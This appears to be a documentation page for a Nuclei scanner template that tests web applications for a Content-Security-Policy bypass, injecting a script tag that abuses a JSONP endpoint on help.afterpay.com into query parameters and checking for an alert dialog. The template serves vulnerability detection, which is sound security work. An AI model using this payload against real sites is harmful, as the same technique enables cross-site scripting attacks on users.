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Content-Security-Policy Bypass - Afterpay Help

ID: afterpay-help-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,afterpay-help

id: afterpay-help-csp-bypass
info:
name: Content-Security-Policy Bypass - Afterpay Help
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,afterpay-help
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "afterpay.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: afterpay_help_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://help.afterpay.com/sc/faye/?message=[{%22channel%22:%22%22}]&jsonp=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "afterpay_help_csp_xss == true"
# digest: 490a00463044022062a0015429f6d64d7b4c9020cba15edc7d437a346d1e1c376acc241f1181248e022042a237ad36e18e7c996fa2dbe780a40fc620beefc18223ce580ae8f9d05d8730:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/afterpay-help-csp-bypass.yaml"

View on Github